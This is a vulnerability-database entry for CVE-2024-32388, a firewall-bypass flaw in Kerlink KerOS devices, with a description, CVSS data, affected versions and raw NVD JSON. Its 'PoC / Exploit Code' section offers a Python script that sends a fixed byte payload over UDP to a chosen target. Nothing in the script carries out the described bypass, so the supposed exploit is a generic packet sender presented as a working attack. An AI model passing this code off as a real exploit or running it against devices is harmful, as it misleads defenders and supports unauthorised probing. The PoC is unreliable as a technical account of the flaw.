Security Vulnerability Report
中文
CVE-2024-32388 CVSS 5.3 MEDIUM

CVE-2024-32388

Published: 2025-12-01 16:15:49
Last Modified: 2025-12-23 13:57:35

Description

Due to a firewall misconfiguration, Kerlink devices running KerOS prior to 5.12 incorrectly accept specially crafted UDP packets. This allows an attacker to bypass the firewall and access UDP-based services that would otherwise be protected.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:kerlink:keros:*:*:*:*:*:*:*:* - VULNERABLE
Kerlink KerOS < 5.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2024-32388 PoC - Kerlink KerOS Firewall Bypass via Crafted UDP Packets # This PoC demonstrates sending a specially crafted UDP packet to bypass firewall import socket import sys def send_udp_packet(target_ip, target_port, payload): """ Send a specially crafted UDP packet to target """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) print(f"[*] Sending crafted UDP packet to {target_ip}:{target_port}") print(f"[*] Payload length: {len(payload)} bytes") # Send the crafted UDP packet sock.sendto(payload.encode('utf-8'), (target_ip, target_port)) # Set timeout for response sock.settimeout(5) try: response, addr = sock.recvfrom(4096) print(f"[+] Received response from {addr}") print(f"[+] Response: {response[:100]}...") return True except socket.timeout: print("[-] No response received (timeout)") return False except Exception as e: print(f"[-] Error: {e}") return False finally: sock.close() def main(): if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_ip> <target_port>") print(f"Example: {sys.argv[0]} 192.168.1.100 161") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) # Crafted UDP payload - can be adapted based on target service # Common UDP services: SNMP (161), NTP (123), DNS (53), etc. payload = "\x30\x00\x00\x00\x02\x01\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00" print("[*] CVE-2024-32388 PoC - Kerlink KerOS Firewall Bypass") print("[*] Target: Kerlink devices running KerOS < 5.12") print() send_udp_packet(target_ip, target_port, payload) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-32388", "sourceIdentifier": "[email protected]", "published": "2025-12-01T16:15:49.447", "lastModified": "2025-12-23T13:57:35.183", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to a firewall misconfiguration, Kerlink devices running KerOS prior to 5.12 incorrectly accept specially crafted UDP packets. This allows an attacker to bypass the firewall and access UDP-based services that would otherwise be protected."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-402"}, {"lang": "en", "value": "CWE-940"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:kerlink:keros:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0", "versionEndExcluding": "5.12", "matchCriteriaId": "8DD39BA2-AA69-42C7-B5D0-AD8012CD1879"}]}]}], "references": [{"url": "https://keros.docs.kerlink.com/security/security_advisories_kerOS5", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.bdosecurity.de/en-gb/advisories/cve-2024-32388", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}